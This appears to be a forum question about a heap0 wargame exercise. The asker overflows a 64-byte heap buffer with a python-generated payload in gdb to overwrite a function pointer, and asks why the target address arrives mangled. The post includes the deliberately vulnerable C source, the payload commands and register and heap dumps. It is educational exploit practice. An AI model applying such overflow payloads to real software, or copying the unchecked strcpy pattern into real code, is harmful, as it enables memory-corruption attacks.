I have a heap overflow example program (heap0.c)compiled as follows:
gcc heap0.c -w -g -no-pie -z execstack -o heap0
In order to overwrite the instruction pointer with (BBBB = \x42\x42\x42\x42), I passed:
(gdb)r $(python3 -c 'print ("A"*80 + "\x42\x42\x42\x42")')
The eip was correctly overwritten:
(gdb) i r:
eax 0x42424242 1111638594
ecx 0xbffff3b0 -1073744976
edx 0x804d1ed 134533613
ebx 0x804c000 134529024
esp 0xbffff08c 0xbffff08c
ebp 0xbffff0b8 0xbffff0b8
esi 0xbffff0d0 -1073745712
edi 0xb7fb1000 -1208283136
**eip 0x42424242 0x42424242** (correct)
I verified this on the heap and 0x42424242 was correctly written where I expected it, after the first 80bytes.
(gdb) info proc map
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x804d000 0x806f000 0x22000 0x0 [heap]
(gdb) x/130x 0x804d000:
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1f0: *0x42424242* 0x00000000 0x00000000 0x00000411
0x804d200: 0x61746164 0x20736920
However, when I used the address of the function (winner - 0x080491a2 ) which I wanted to redirect, the eip was not what I expected:
(gdb) r $(python3 -c 'print ("A"*80 + "\xa2\x91\x04\x08")')
(gdb) i r:
eax 0x91c2a2c2 -1849515326
ecx 0xbffff3b0 -1073744976
edx 0x804d1ef 134533615
ebx 0x804c000 134529024
esp 0xbffff08c 0xbffff08c
ebp 0xbffff0b8 0xbffff0b8
esi 0xbffff0d0 -1073745712
edi 0xb7fb1000 -1208283136
**eip 0x91c2a2c2 0x91c2a2c2** (not what I expected)
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
I checked the heap and I have the same:
x/130x 0x804d000:
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1f0: **0x91c2a2c2 0x00000804** 0x00000000 0x00000411
0x804d200: 0x61746164 0x20736920
It seems the address got splitted somehow, and the program could not be redirected to winner. I was expecting 0x080491a2 to be written immediately after the first 80bytes as in the first example. I have disabled ASLR and tried a couple of things but I could not get this to work correctly. Can someone kindly explain to me why my address appeared to be incorrectly written.
I am running 32bits Kali Linux v2021 and the heap0.c is:
...
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
....